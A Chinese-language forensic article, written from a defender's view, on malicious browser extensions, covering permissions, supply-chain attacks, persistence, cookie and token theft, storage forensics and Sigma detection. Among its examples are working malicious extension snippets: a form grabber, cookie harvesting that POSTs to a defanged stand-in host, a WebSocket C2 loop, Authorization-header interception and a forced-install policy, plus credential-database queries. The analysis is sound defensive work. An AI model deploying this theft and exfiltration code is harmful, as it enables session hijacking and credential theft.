ARTICLE / 安全

浏览器扩展安全取证深度分析

浏览器扩展(Browser Extension)是现代浏览器生态中最为强大的功能增强机制之一,允许第三方开发者通过HTML、CSS和JavaScript等Web技术为浏览器添加定制功能。Chrome Web Store拥有超过18万款扩展,累计安装量超过数十亿次,Firefox Add-ons和Edge Addons同样拥有庞大的扩展生态。然而,浏览器扩展的权限模型使其成为攻击者眼中极具价值的攻击载体——一款恶意扩展可以读取和修改用户访问的所有网页内容、拦截所有HTTP请求和响应、访问浏览器存储的所有凭据和Cookie、甚至与本地系统进行交互。

与传统的Web攻击(如XSS、CSRF)相比,浏览器扩展攻击具有独特的威胁特性:扩展运行在浏览器的特权上下文中,拥有比普通网页高得多的权限等级;恶意扩展一旦安装即可长期驻留,无需反复利用漏洞;扩展可以跨域访问用户浏览的所有网站数据,突破了浏览器的同源策略限制;更关键的是,扩展可以通过Web Store的自动更新机制实现静默更新,使攻击者能够持续调整攻击载荷。2020年以来,SafeBreach、Kaspersky、AV-AST等安全厂商持续披露大规模恶意扩展攻击活动,涉及数十亿用户,涵盖广告注入、凭据窃取、加密货币劫持、企业数据外泄等多种攻击目的。

本文从蓝队取证实战视角出发,系统性地覆盖浏览器扩展安全的全链路分析——从Chrome扩展架构与Manifest安全模型到扩展供应链攻击,从恶意扩展持久化机制到Cookie/Token窃取技术,从扩展更新劫持到本地存储取证,结合CryptoCore、Dormancy等真实恶意扩展事件案例,提供Sigma规则、Bash脚本和Python脚本等自动化检测方案,还原浏览器扩展安全取证的完整流程。


0x01 技术基础与浏览器扩展安全概述

浏览器扩展架构模型

浏览器扩展的核心架构由以下几个关键组件构成:Manifest文件(扩展的配置清单,声明权限、入口文件、Content Script匹配规则等)、Background Script/Service Worker(运行在扩展后台的持久化进程,负责处理全局逻辑)、Content Script(注入到指定网页中的JavaScript脚本,拥有受限的DOM访问权限)、Popup Page(点击扩展图标时弹出的用户界面)、Options Page(扩展的设置页面)、以及各种浏览器API(如chrome.tabs、chrome.cookies、chrome.storage等)。

架构组件执行上下文权限等级可访问API取证价值
Background Script (MV2)扩展独立进程最高全部chrome.* APIC2通信、数据外泄逻辑
Service Worker (MV3)浏览器管理的Worker最高大部分chrome.* API事件驱动的恶意逻辑
Content Script网页进程(隔离)中等部分chrome.* API + DOMDOM数据窃取、注入代码
Popup/Options Page扩展页面上下文受限API伪装界面、用户欺骗
Web Accessible Resources网页可访问通过URL访问资源泄露、跨域引用

与传统Web攻击的差异

浏览器扩展攻击与传统Web攻击在攻击面、持久性和检测方法上存在本质差异:

对比维度传统Web攻击(XSS/CSRF)浏览器扩展攻击
攻击载体漏洞利用、社会工程恶意扩展安装、供应链投毒
权限范围单一网站/域跨所有网站(取决于权限)
持久性依赖会话Cookie/漏洞持续利用扩展安装后长期驻留
检测难度WAF/IDS可检测浏览器内部行为难以外部监控
跨域能力受同源策略限制突破同源策略(activeTab/ permissions)
更新机制Web Store自动更新静默推送
用户感知页面异常可被察觉后台运行用户无感知
取证入口Web服务器日志、WAF日志浏览器Profile、扩展存储、网络流量

Chrome / Firefox / Edge 扩展系统对比

三大主流浏览器的扩展系统在架构设计、安全模型和迁移路线上存在显著差异,这些差异直接影响取证分析的策略选择:

特性Chrome (Manifest V3)Firefox (WebExtension)Edge (基于Chromium)
Manifest版本V2(已弃用)→ V3(强制)WebExtension API兼容Chrome MV3
Background模型Service Worker(无持久进程)Event Pages(非持久)Service Worker
Content Script隔离MAIN/WORLD隔离同Chrome同Chrome
权限模型permissions + host_permissionspermissions + browser_specific_settings兼容Chrome
API差异chrome.* namespacebrowser.* namespace(Promise)chrome.* namespace
扩展签名Web Store强制签名AMO强制签名Web Store/企业签名
本地存储chrome.storage APIbrowser.storage APIchrome.storage API
扩展签名验证CRX3格式签名pkcs12签名兼容Chrome
取证Profile路径%LOCALAPPDATA%\Google\Chrome\User Data\Default\%APPDATA%\Mozilla\Firefox\Profiles\同Chrome路径
非Web Store安装允许(开发者模式)允许(about:debugging)允许(开发者模式)

扩展取证工具链

浏览器扩展安全取证需要一套专门的工具链来完成扩展枚举、存储分析、网络流量捕获和行为审计:

ls -la ~/.config/google-chrome/Default/Extensions/
ls -la "/Users/$(whoami)/Library/Application Support/Google/Chrome/Default/Extensions/"
find / -name "manifest.json" -path "*/Extensions/*" 2>/dev/null | head -20
cat ~/.config/google-chrome/Default/Extensions/<extension_id>/<version>/manifest.json | python3 -m json.tool
sqlite3 ~/.config/google-chrome/Default/Cookies "SELECT * FROM cookies WHERE host_key LIKE '%.example.com%'"
sqlite3 ~/.config/google-chrome/Default/Web\ Data "SELECT * FROM autofill"
python3 -c "
import sqlite3, json
conn = sqlite3.connect('/path/to/Preferences')
c = conn.cursor()
c.execute('SELECT json_extract(value, \"$.extensions.settings\") FROM preferences WHERE key = \"extensions\"')
print(c.fetchone())
"
工具功能取证用途获取方式
Chrome DevTools扩展调试、网络监控、存储查看现场扩展行为分析浏览器内置
CRX ViewerCRX文件解析、源码查看恶意扩展静态分析Chrome Web Store
Chromium Extensions Explorer扩展元数据查询扩展版本历史和权限查询chromiumapps.github.io
NirSoft ChromeCacheViewChrome缓存解析扩展网络请求缓存分析nirsoft.net
SQLite BrowserSQLite数据库查看Preferences/Local State分析sqlitebrowser.org
Wireshark网络流量捕获扩展C2通信分析wireshark.org
mitmproxyHTTPS中间人代理扩展HTTPS流量检查mitmproxy.org
SigmaHQ安全规则引擎恶意扩展行为检测github.com/SigmaHQ

0x02 Chrome扩展权限模型与Manifest V2/V3安全分析

Manifest V2权限体系

Manifest V2(MV2)是Chrome扩展长期使用的权限声明格式,其权限体系为扩展提供了广泛的浏览器访问能力。MV2的权限声明分为三个层级:API权限(permissions字段声明需要使用的chrome.* API)、主机权限(permissions和content_scripts.matches字段声明可访问的URL模式)、以及可选权限(optional_permissions字段,用户安装后按需授予)。

{
  "manifest_version": 2,
  "name": "Example Extension",
  "version": "1.0.0",
  "permissions": [
    "tabs",
    "cookies",
    "storage",
    "webRequest",
    "webRequestBlocking",
    "<all_urls>"
  ],
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["content.js"],
      "run_at": "document_start"
    }
  ],
  "background": {
    "scripts": ["background.js"],
    "persistent": true
  }
}

MV2的危险权限组合是恶意扩展的核心特征。以下权限组合在正常扩展中极少同时出现,但在恶意扩展中是常见模式:

危险权限组合潜在滥用方式MITRE ATT&CK
webRequest + webRequestBlocking + <all_urls>拦截和修改所有HTTP请求/响应T1071.001 Web Protocols
cookies + <all_urls>读取所有网站的CookieT1539 Steal Web Session Cookie
tabs + activeTab + <all_urls>监控所有标签页URL和内容T1082 System Information Discovery
webNavigation + storage + <all_urls>监控导航行为并持久化存储T1185 Browser Session Hijacking
management + unlimitedStorage管理其他扩展、大量存储数据T1548 Abuse Elevation Mechanism
nativeMessaging + <all_urls>与本地原生程序通信T1559 Inter-Process Communication
debugger + <all_urls>使用Chrome DevTools Protocol完全控制页面T1055 Process Injection

Manifest V3安全模型演进

Manifest V3(MV3)是Google推出的强制性安全升级,旨在解决MV2中长期存在的安全风险。MV3的核心变化包括:用Service Worker替代Background Page(消除持久化进程)、引入DeclarativeNetRequest替代webRequest阻塞能力(限制请求拦截的灵活性)、引入Host Permissions概念(将主机权限从permissions中分离)。

{
  "manifest_version": 3,
  "name": "Example Extension",
  "version": "2.0.0",
  "permissions": [
    "storage",
    "cookies"
  ],
  "host_permissions": [
    "https://*.example.com/*"
  ],
  "background": {
    "service_worker": "background.js"
  },
  "content_scripts": [
    {
      "matches": ["https://*.example.com/*"],
      "js": ["content.js"],
      "run_at": "document_start",
      "world": "MAIN"
    }
  ],
  "declarative_net_request": {
    "rule_resources": [
      {
        "id": "ruleset_1",
        "enabled": true,
        "path": "rules.json"
      }
    ]
  }
}

MV3对安全性的提升与攻击者绕过策略的对比分析:

MV3安全改进防御目标攻击者绕过策略取证检测点
Service Worker无持久进程消除永久后台监听利用chrome.alarms定期唤醒alarms API调用频率异常
DeclarativeNetRequest替代webRequest限制动态请求修改利用规则匹配进行条件性修改声明的规则数量和复杂度
Content Script MAIN World隔离限制与页面JS交互利用postMessage跨World通信跨World消息监听模式
CSP限制防止eval和内联脚本使用chrome.scripting.executeScript动态注入动态脚本注入调用
权限最小化限制请求权限范围声明过度宽泛的host_permissionshost_permissions范围分析

Content Script安全隔离机制

Content Script是扩展与网页交互的主要桥梁,运行在独立的隔离世界(Isolated World)中。在MV3中,Content Script可以通过"world": "MAIN"声明运行在主世界(Main World)中,直接访问网页的JavaScript上下文,但这同时带来了严重的安全风险。

Content Script的隔离模型与攻击利用方式:

// Content Script运行在隔离世界中,拥有受限的DOM访问权限
// 可以读写DOM,但无法访问网页的JavaScript变量
document.addEventListener('DOMContentLoaded', () => {
    const userInput = document.querySelector('#user-input').value;
    // 可以读取DOM元素值
    document.querySelector('#result').textContent = 'Processed: ' + userInput;
});

// 通过postMessage与页面脚本跨World通信(MV3 MAIN World安全风险)
window.postMessage({
    type: 'FROM_CONTENT_SCRIPT',
    data: document.cookie
}, '*');

// 监听页面脚本发送的消息(数据窃取向量)
window.addEventListener('message', (event) => {
    if (event.data.type === 'FROM_PAGE') {
        chrome.runtime.sendMessage({
            type: 'EXFILTRATE',
            data: event.data.payload
        });
    }
});

web_accessible_resources安全风险

web_accessible_resources允许扩展将内部资源暴露给网页脚本访问。这一机制在正常扩展中用于实现内容注入等功能,但也是恶意扩展泄露敏感数据和被网页检测的通道:

{
  "manifest_version": 3,
  "web_accessible_resources": [
    {
      "resources": ["inject.js", "config.js", "api.js"],
      "matches": ["https://*.target-site.com/*"],
      "extension_ids": ["*"]
    }
  ]
}
web_accessible_resources配置安全风险攻击利用方式
extension_ids: ["*"]任何扩展可引用跨扩展数据泄露
matches: ["<all_urls>"]任何网站可引用网页脚本读取扩展资源
资源包含敏感配置配置信息泄露C2地址、加密密钥暴露
资源包含可执行脚本脚本被网页加载执行网页端代码注入

0x03 扩展供应链攻击与Web Store投毒机制

Web Store恶意扩展审核绕过

Chrome Web Store的扩展审核机制(Chrome Web Store Policy)旨在拦截恶意扩展,但攻击者已发展出多种审核绕过策略。这些策略使恶意扩展能够在通过审核后远程激活恶意功能,或者将恶意行为延迟到审核窗口期之后才执行。

恶意扩展审核绕过的核心策略包括:

审核绕过策略技术实现检测难度MITRE ATT&CK
时间触发延迟扩展安装后48-72小时才激活恶意代码T1497 Virtualization/Sandbox Evasion
云端配置下发通过远程服务器动态加载恶意配置T1102 Web Service
A/B测试投毒仅对特定用户群体激活恶意功能极高T1480 Execution Guardrails
代码混淆隐藏使用eval/obfuscation隐藏真实意图T1027 Obfuscated Files
权限升级利用安装后通过更新请求更多权限T1548 Abuse Elevation Mechanism
伪装合法扩展克隆知名扩展的UI和品牌T1585 Establish Accounts
// 示例:时间触发延迟激活恶意代码
// 扩展安装后不会立即表现出恶意行为
const INSTALL_DELAY_HOURS = 72;
const NOW = Date.now();
const INSTALL_TIME = parseInt(localStorage.getItem('install_time') || NOW);
localStorage.setItem('install_time', INSTALL_TIME);

if (NOW - INSTALL_TIME > INSTALL_DELAY_HOURS * 3600 * 1000) {
    // 延迟激活后才执行恶意逻辑
    loadMaliciousPayload();
}

async function loadMaliciousPayload() {
    const config = await fetch('https://cdn-analytics[.]com/config.json');
    const rules = await config.json();
    if (rules.enable && rules.targets.some(t => window.location.hostname.includes(t))) {
        exfiltrateDocumentCookies();
        injectFormGrabber();
    }
}

第三方依赖投毒攻击

扩展的JavaScript依赖链是供应链攻击的重要切入点。许多扩展依赖npm生态系统中的第三方库,攻击者通过投毒这些库(或创建名称相似的Typosquatting库)来间接感染大量扩展。

npm依赖投毒的典型攻击链:

攻击阶段技术手段影响范围取证指标
库名注册创建typosquatting库名(如utilutill依赖该库的扩展package.json依赖项
负载注入在preinstall脚本中添加恶意代码扩展构建过程npm scripts配置
数据外泄读取package.json中的敏感信息扩展配置数据网络请求日志
持久化修改扩展的构建输出最终发布的扩展CRX文件哈希
# npm供应链攻击检测:检查扩展依赖中的可疑包
find /path/to/extension/ -name "package.json" -exec grep -l "preinstall\|postinstall" {} \;
find /path/to/extension/ -name "*.js" -exec grep -l "eval(\|Function(\|atob(\|btoa(" {} \;

账号接管与扩展所有权转移

攻击者通过接管Chrome Web Store开发者账号来发布恶意更新,这是一种高效的扩展投毒方式。被接管的合法扩展拥有已安装用户基础,更新推送后可立即影响大量用户。

账号接管方式技术细节影响速度取证线索
凭据填充利用泄露的账号密码登录即时账号登录IP异常
API密钥泄露开发者API密钥暴露在公开代码仓库即时Git历史中的密钥
社工攻击针对扩展维护者的钓鱼攻击分钟级钓鱼邮件/消息记录
会话劫持窃取已认证的开发者会话即时会话Cookie异常来源
维护者转移向Web Store申请所有权转移天级官方所有权变更记录

0x04 恶意扩展持久化与隐蔽通信技术

Service Worker持久化策略

在Manifest V3中,Service Worker替代了MV2的Background Page作为扩展的后台执行上下文。MV3的Service Worker是非持久化的——它在空闲一段时间后会被浏览器自动终止,仅在被事件(如chrome.alarms、chrome.tabs.onUpdated等)触发时重新启动。攻击者为维持持久化访问,发展出多种Service Worker保活策略。

持久化策略技术实现CPU/内存影响检测难度MITRE ATT&CK
chrome.alarms循环设置1分钟间隔的重复alarmT1053 Scheduled Task/Job
WebSocket长连接维持到C2的WebSocket连接T1572 Protocol Tunneling
chrome.storage变更监听监听其他标签页的storage变更T1546 Event Triggered Execution
扩展消息传递Content Script定期发送心跳T1098 Account Manipulation
浏览器事件触发监听onInstalled/onStartup极低T1547 Boot or Logon Autostart
// chrome.alarms Service Worker保活策略
chrome.runtime.onInstalled.addListener(() => {
    chrome.alarms.create('keepalive', { periodInMinutes: 0.5 });
});

chrome.alarms.onAlarm.addListener(async (alarm) => {
    if (alarm.name === 'keepalive') {
        await performBackgroundTask();
    }
});

// WebSocket C2隐蔽通信
class CovertChannel {
    constructor() {
        this.ws = null;
        this.reconnectDelay = 1000;
    }

    connect() {
        this.ws = new WebSocket('wss://cdn-cloudservice[.]com/ws');
        this.ws.onopen = () => {
            this.reconnectDelay = 1000;
            this.ws.send(JSON.stringify({
                type: 'heartbeat',
                id: chrome.runtime.id,
                ts: Date.now()
            }));
        };
        this.ws.onmessage = async (event) => {
            const cmd = JSON.parse(event.data);
            const result = await executeCommand(cmd);
            this.ws.send(JSON.stringify({ type: 'result', data: result }));
        };
        this.ws.onclose = () => {
            setTimeout(() => this.connect(), this.reconnectDelay);
            this.reconnectDelay = Math.min(this.reconnectDelay * 2, 30000);
        };
    }
}

async function performBackgroundTask() {
    const cookies = await chrome.cookies.getAll({});
    const sensitiveCookies = cookies.filter(c =>
        c.name.includes('session') || c.name.includes('token') ||
        c.name.includes('auth') || c.name.includes('jwt')
    );
    if (SensitiveCookies.length > 0) {
        await sendToC2(sensitiveCookies);
    }
}

加密通信与数据编码

恶意扩展为避免C2通信被网络安全设备检测,通常对传输数据进行加密或编码处理。常用的编码方式包括Base64编码、XOR加密、AES对称加密以及自定义的编码方案。

编码/加密方式实现复杂度检测难度网络特征取证分析难度
Base64编码明显的Base64特征字符串
XOR加密简单频度分析可破解
AES-GCM加密随机化密文
自定义编码非标准编码模式
DNS隧道DNS查询异常
WebRTC数据通道极高P2P流量极高
// AES-GCM加密C2通信示例
async function encryptData(data, key) {
    const encoder = new TextEncoder();
    const iv = crypto.getRandomValues(new Uint8Array(12));
    const cryptoKey = await crypto.subtle.importKey(
        'raw', encoder.encode(key), { name: 'AES-GCM' }, false, ['encrypt']
    );
    const encrypted = await crypto.subtle.encrypt(
        { name: 'AES-GCM', iv: iv }, cryptoKey, encoder.encode(JSON.stringify(data))
    );
    return {
        iv: Array.from(iv).map(b => b.toString(16).padStart(2, '0')).join(''),
        data: btoa(String.fromCharCode(...new Uint8Array(encrypted)))
    };
}

0x05 扩展窃取Cookie/Token与会话劫持分析

Content Script DOM访问与数据提取

Content Script拥有对网页DOM的完全读写权限(受限于matches规则指定的URL模式),这意味着恶意扩展可以访问用户在特定网站上的所有页面内容,包括表单数据、DOM中的敏感信息、甚至通过DOM操作实现凭据窃取。

// Content Script窃取表单数据
document.addEventListener('submit', (event) => {
    const form = event.target;
    const formData = new FormData(form);
    const data = {};
    formData.forEach((value, key) => {
        data[key] = value;
    });
    chrome.runtime.sendMessage({
        type: 'FORM_GRABBER',
        url: window.location.href,
        data: data
    });
}, true);

// 监听页面DOM变化,实时捕获动态加载的敏感数据
const observer = new MutationObserver((mutations) => {
    mutations.forEach((mutation) => {
        mutation.addedNodes.forEach((node) => {
            if (node.nodeType === Node.ELEMENT_NODE) {
                const tokens = node.querySelectorAll(
                    'input[type="password"], input[name*="token"], input[name*="api_key"]'
                );
                tokens.forEach((input) => {
                    chrome.runtime.sendMessage({
                        type: 'CREDENTIAL_THEFT',
                        field: input.name,
                        value: input.value
                    });
                });
            }
        });
    });
});
observer.observe(document.body, { childList: true, subtree: true });

chrome.cookies API滥用

chrome.cookies API是Chrome扩展中专门用于操作浏览器Cookie的API,允许扩展读取、设置和删除Cookie。恶意扩展利用此API可以窃取用户的会话Cookie,实现账户劫持。

// 扩展窃取所有域名的Cookie
async function exfiltrateAllCookies() {
    const allCookies = await chrome.cookies.getAll({});
    const sensitivePatterns = [
        'session', 'token', 'auth', 'jwt', 'sid', 'ssid',
        'access_token', 'refresh_token', 'xsrf', 'csrf'
    ];
    const sensitiveCookies = allCookies.filter(cookie =>
        sensitivePatterns.some(p => cookie.name.toLowerCase().includes(p)) ||
        cookie.httpOnly === false && cookie.secure === false
    );

    const encodedData = btoa(JSON.stringify(sensitiveCookies.map(c => ({
        domain: c.domain,
        name: c.name,
        value: c.value,
        path: c.path,
        expires: c.expirationDate,
        httpOnly: c.httpOnly,
        secure: c.secure,
        sameSite: c.sameSite
    }))));
    await fetch('https://data-analytics[.]com/collect', {
        method: 'POST',
        body: encodedData
    });
}

// 突破httpOnly限制的Cookie窃取
// Content Script虽然无法通过JS读取httpOnly Cookie
// 但可以通过拦截HTTP请求头获取Authorization
// 或通过chrome.webRequest API(MV2)/declarativeNetRequest规则修改请求
Cookie窃取方式HTTPOnly绕过需要权限检测难度MITRE ATT&CK
chrome.cookies.getAll()受限于httpOnly标志cookiesT1539 Steal Web Session Cookie
Content Script document.cookie无法读取httpOnlyactiveTabT1539 Steal Web Session Cookie
chrome.webRequest监听(MV2)完全绕过webRequestT1557 Adversary-in-the-Middle
修改页面fetch/XMLHttpRequest完全绕过主World注入T1056 Input Capture
表单提交拦截N/A(密码明文)Content ScriptT1556 Modify Authentication Process
Authorization Header拦截完全绕过webRequestT1539 Steal Web Session Cookie

Authorization Header拦截与Session Replay

在现代SPA(Single Page Application)架构中,Authorization Header(通常携带Bearer Token或JWT)是认证的核心机制。恶意扩展通过拦截HTTP请求头可以获取这些Token,实现完全的会话劫持。

// MV2:通过webRequest API拦截所有Authorization Header
chrome.webRequest.onBeforeSendHeaders.addListener(
    (details) => {
        const authHeader = details.requestHeaders.find(
            h => h.name.toLowerCase() === 'authorization'
        );
        if (authHeader) {
            sendToC2({
                url: details.url,
                authorization: authHeader.value,
                timestamp: Date.now()
            });
        }
    },
    { urls: ['<all_urls>'] },
    ['requestHeaders', 'extraHeaders']
);

// MV3:通过Content Script注入脚本到MAIN World拦截
// 在MAIN World中拦截fetch和XMLHttpRequest
(function() {
    const origFetch = window.fetch;
    window.fetch = function(...args) {
        const [url, options] = args;
        if (options && options.headers) {
            const auth = options.headers['Authorization'] ||
                         options.headers['authorization'];
            if (auth) {
                window.postMessage({
                    type: 'CAPTURED_AUTH',
                    url: typeof url === 'string' ? url : url.url,
                    authorization: auth
                }, '*');
            }
        }
        return origFetch.apply(this, args);
    };
})();

0x06 扩展更新劫持与版本回滚攻击

Chrome自动更新机制分析

Chrome浏览器为Web Store安装的扩展提供自动更新机制,默认每5小时检查一次更新。更新检查通过Chrome Update Server(https://clients2.google.com/service/update2/crx)进行,扩展的版本号递增后由服务器推送新版本CRX文件。攻击者通过多种手段劫持这一更新机制,实现恶意代码的静默分发。

{
  "update_url": "https://clients2.google.com/service/update2/crx",
  "version": "2.0.1",
  "version_name": "Security Patch"
}

更新劫持的技术实现路径:

更新劫持方式技术细节影响范围检测指标MITRE ATT&CK
账号接管后推送恶意更新接管开发者账号发布恶意版本所有已安装用户突然的代码变更T1195 Supply Chain Compromise
CRX文件替换(本地)修改本地已安装扩展的CRX文件单台终端文件哈希变更T1542 Pre-OS Boot
Extension Settings API滥用修改扩展安装策略和更新行为企业环境组策略异常T1484 Domain Policy Modification
版本号回滚利用更新机制推送旧版本特定用户群版本号逆向变化T1601 Modify System Image
扩展签名伪造伪造CRX3格式签名单台终端签名验证失败T1553 Subvert Trust Controls

Extension Settings API企业攻击

Chrome的ExtensionSettings API允许企业管理员通过组策略控制扩展的安装、更新和移除行为。攻击者获取企业设备的管理员权限后,可以通过此API将恶意扩展强制安装到所有用户浏览器中。

{
  "ExtensionSettings": {
    "*": {
      "installation_mode": "blocked"
    },
    "malicious_extension_id": {
      "installation_mode": "force_installed",
      "update_url": "https://malware-cdn[.]com/update"
    }
  }
}

扩展版本差异攻击

攻击者对同一扩展维护多个版本,其中正常版本通过Web Store审核,恶意版本通过其他渠道分发。两种版本共存使安全分析更加困难,因为合法版本的行为掩盖了恶意版本的真实意图。

版本策略正常版本特征恶意版本特征取证区分点
双版本分发Web Store官方版本第三方网站/直接安装版本安装来源差异
功能差异化基础功能正常额外的后台数据收集权限使用差异
地域限定特定地区正常功能特定地区激活恶意代码地理位置触发
时间窗口正常时段正常功能特定时段激活恶意代码时间触发模式
用户画像普通用户正常功能高价值目标激活恶意代码用户特征触发

0x07 扩展存储取证与本地数据提取

Chrome扩展存储架构

Chrome扩展使用多种存储机制保存数据,每种存储方式在取证分析中具有不同的数据价值和提取方法。扩展的本地存储数据是攻击者操作的直接证据,对于还原恶意扩展的行为链至关重要。

存储类型存储位置(Linux)存储位置(Windows)数据格式取证价值
chrome.storage.local~/.config/google-chrome/Default/Local Extension Settings/%LOCALAPPDATA%...\Local Extension Settings\LevelDB恶意配置、窃取数据
chrome.storage.sync~/.config/google-chrome/Default/Sync Extension Settings/%LOCALAPPDATA%...\Sync Extension Settings\LevelDB跨设备同步的恶意数据
chrome.storage.session内存中(不持久化)内存中(不持久化)内存运行时中间数据
IndexedDB~/.config/google-chrome/Default/IndexedDB/%LOCALAPPDATA%...\IndexedDB\LevelDB大量结构化窃取数据
LocalStorage~/.config/google-chrome/Default/Local Storage/leveldb/同左LevelDB扩展配置和状态
Cookies~/.config/google-chrome/Default/Cookies%LOCALAPPDATA%...\CookiesSQLite被窃取的Cookie备份
Cache~/.config/google-chrome/Default/Cache/同左二进制网络请求缓存

LevelDB数据提取

Chrome扩展的chrome.storage API底层使用LevelDB作为存储引擎。LevelDB的文件以.ldb.log为后缀存储在对应扩展ID目录下。LevelDB数据可以通过专用工具或手动解析提取。

# 定位扩展存储目录
EXTENSION_ID="aaaaaaaaaaaaaaaaaaaaaaaaaa"
find ~/.config/google-chrome/Default/ -name "$EXTENSION_ID" -type d 2>/dev/null

# 使用leveldb库读取扩展存储(Python)
python3 -c "
import plyvel, json, os, glob
base = os.path.expanduser('~/.config/google-chrome/Default/Local Extension Settings/')
for ext_dir in glob.glob(os.path.join(base, '*')):
    ext_id = os.path.basename(ext_dir)
    try:
        db = plyvel.DB(ext_dir, create_if_missing=False)
        print(f'Extension: {ext_id}')
        for key, value in db:
            print(f'  Key: {key.decode(errors=\"replace\")}')
            print(f'  Value: {value.decode(errors=\"replace\")}')
            print('  ---')
        db.close()
    except Exception as e:
        print(f'  Error: {e}')
"

浏览器Profile完整取证

Chrome的浏览器Profile目录包含了用户的所有浏览数据,包括扩展安装记录、浏览历史、Cookie、缓存、表单数据等。在取证分析中,Profile目录是最核心的数据源。

# Chrome Profile取证关键路径(Linux)
PROFILE_DIR="$HOME/.config/google-chrome/Default"

# 已安装扩展列表
cat "$PROFILE_DIR/Secure Preferences" | python3 -m json.tool | grep -A 20 "extensions"

# 扩展安装记录
sqlite3 "$PROFILE_DIR/History" \
    "SELECT url, title, visit_count, last_visit_time FROM urls WHERE url LIKE '%chrome://extensions%'"

# 浏览器扩展下载记录
sqlite3 "$PROFILE_DIR/History" \
    "SELECT target_path, referrer, start_time FROM downloads WHERE target_path LIKE '%.crx%'"

# 扩展更新日志
grep -r "extension" "$PROFILE_DIR/" --include="*.log" 2>/dev/null | head -20

SQLite数据库解析

Chrome使用多个SQLite数据库存储关键数据。对这些数据库的解析是扩展取证的重要环节:

# Cookies数据库:提取扩展相关的Cookie
sqlite3 "$PROFILE_DIR/Cookies" \
    "SELECT host_key, name, value, path, expires_utc, is_httponly, is_secure FROM cookies WHERE host_key LIKE '%analytics%' OR host_key LIKE '%cdn-cloudservice%'" 2>/dev/null

# Web Data:提取自动填充数据(可能包含扩展注入的数据)
sqlite3 "$PROFILE_DIR/Web Data" "SELECT name, value FROM autofill"

# Login Data:提取保存的登录凭据
sqlite3 "$PROFILE_DIR/Login Data" \
    "SELECT origin_url, username_value, password_length FROM logins WHERE origin_url != ''" 2>/dev/null

# Network Action Predictor:提取网络请求预测数据
sqlite3 "$PROFILE_DIR/Network Action Predictor" \
    "SELECT user_text, url FROM omni_box_dynamic WHERE url LIKE '%analytics%' OR url LIKE '%cdn-cloudservice%'" 2>/dev/null

0x08 证据强度分层与案例关联

在浏览器扩展安全事件的取证分析中,需要将发现的证据按照确信度进行分层分类。以下采用三级分类体系:🔴确认恶意(Confirmed Malicious)、🟡高度可疑(Highly Suspicious)、🟢需要关注(Needs Attention),每个级别包含多个具体的检测指标和关联分析维度。

🔴 确认恶意指标(Confirmed Malicious)

以下指标一旦确认,可直接判定扩展为恶意:

指标编号指标名称检测方法误报风险MITRE ATT&CK
M-001明文外泄用户凭据到外部服务器网络流量分析 + C2基础设施关联极低T1555 Credentials from Password Stores
M-002扩展代码包含混淆的eval/Function动态执行静态代码分析T1027 Obfuscated Files
M-003chrome.cookies.getAll()结果发送到非关联域名API调用链分析极低T1539 Steal Web Session Cookie
M-004主动修改页面DOM注入表单窃取逻辑Content Script行为分析极低T1056 Input Capture
M-005使用webRequest API拦截Authorization头并外传权限使用分析 + 网络分析极低T1557 Adversary-in-the-Middle
M-006扩展Web Store页面与实际代码行为不一致功能对比分析T1036 Masquerading
M-007扩展被Chrome安全团队标记并从Web Store移除Web Store状态查询极低
# M-001:外泄检测 - 查找向非关联域名发送数据的扩展
# M-002:混淆检测 - 查找使用eval/Function的扩展代码
find ~/.config/google-chrome/Default/Extensions/ -name "*.js" \
    -exec grep -l "eval(\|Function(\|new Function\|document\.write.*String\.fromCharCode" {} \; 2>/dev/null

🟡 高度可疑指标(Highly Suspicious)

以下指标表明扩展可能存在恶意行为,需要进一步分析确认:

指标编号指标名称检测方法误报风险MITRE ATT&CK
S-001声明<all_urls>权限但功能不需要权限声明与功能对比T1082 System Information Discovery
S-002Service Worker中存在加密函数或非标准编码静态代码分析T1027 Obfuscated Files
S-003扩展安装后请求额外的optional_permissions权限变更审计T1548 Abuse Elevation Mechanism
S-004Content Script向Background Script频繁传输DOM数据消息传递分析T1041 Exfiltration Over C2 Channel
S-005扩展使用chrome.alarms以短间隔定期执行保活机制分析T1053 Scheduled Task/Job
S-006扩展代码从远程URL动态加载JavaScript远程代码加载分析T1102 Web Service
S-007扩展更新后权限声明增加或行为变化版本差异分析T1195 Supply Chain Compromise

🟢 需要关注指标(Needs Attention)

以下指标表明扩展可能存在潜在风险,需要在上下文中进一步评估:

指标编号指标名称检测方法误报风险MITRE ATT&CK
A-001扩展开发者账号创建时间较新Web Store元数据分析T1585 Establish Accounts
A-002扩展用户评分与安装量不匹配Web Store数据统计T1585 Establish Accounts
A-003扩展依赖的第三方JavaScript库已知存在漏洞依赖安全审计T1195 Supply Chain Compromise
A-004扩展使用web_accessible_resources暴露敏感资源Manifest配置分析T1027 Obfuscated Files
A-005扩展的Chrome Web Store页面近期更换了开发者元数据变更追踪T1195 Supply Chain Compromise
A-006企业环境中扩展通过组策略强制安装组策略审计T1484 Domain Policy Modification
A-007扩展的Content Script注入时机早于document_ready注入时序分析T1059 Command and Scripting Interpreter

证据关联分析框架

将上述指标进行交叉关联,构建完整的证据链:

证据链场景涉及指标置信度建议响应
Cookie窃取+外泄到C2M-001 + M-003 + S-004极高立即卸载、轮换凭据
DOM注入+表单窃取M-004 + S-004 + S-006极高立即卸载、通知受影响用户
供应链投毒+权限升级M-007 + S-003 + S-007检查扩展版本历史、评估影响范围
混淆代码+远程加载M-002 + S-002 + S-006深入静态分析、网络流量分析
企业环境强制安装A-006 + S-003 + S-005审查组策略、与管理员确认

0x09 自动化检测与狩猎

Sigma检测规则

以下Sigma规则用于检测浏览器扩展中的可疑行为模式:

title: 可疑Chrome扩展请求宽泛权限并启动定时任务
id: 9a3f7b2c-1d4e-4a8c-b5f6-2e7d8c9a0b3f
status: experimental
description: 检测Chrome扩展同时声明宽泛URL权限和使用chrome.alarms API的可疑组合
author: x7peeps-sec
date: 2026/07/12
modified: 2026/07/12
tags:
  - attack.t1176
  - attack.t1053
  - attack.t1539
logsource:
  category: file_modification
  product: windows
  service: chrome
detection:
  selection_permissions:
    EventID: 13
    TargetObject|contains:
      - '\Extensions\*\manifest.json'
  selection_alarms:
    EventID: 13
    TargetObject|contains:
      - '\Extensions\*\js\*.js'
    Details|contains:
      - 'chrome.alarms'
      - 'alarms.create'
      - 'alarms.onAlarm'
  selection_broad_perms:
    EventID: 13
    TargetObject|contains:
      - '\Extensions\*\manifest.json'
    Details|contains:
      - 'all_urls'
      - '<all_urls>'
      - 'cookies'
      - 'webRequest'
      - 'webRequestBlocking'
  condition: selection_alarms and (selection_permissions or selection_broad_perms)
  falsepositives:
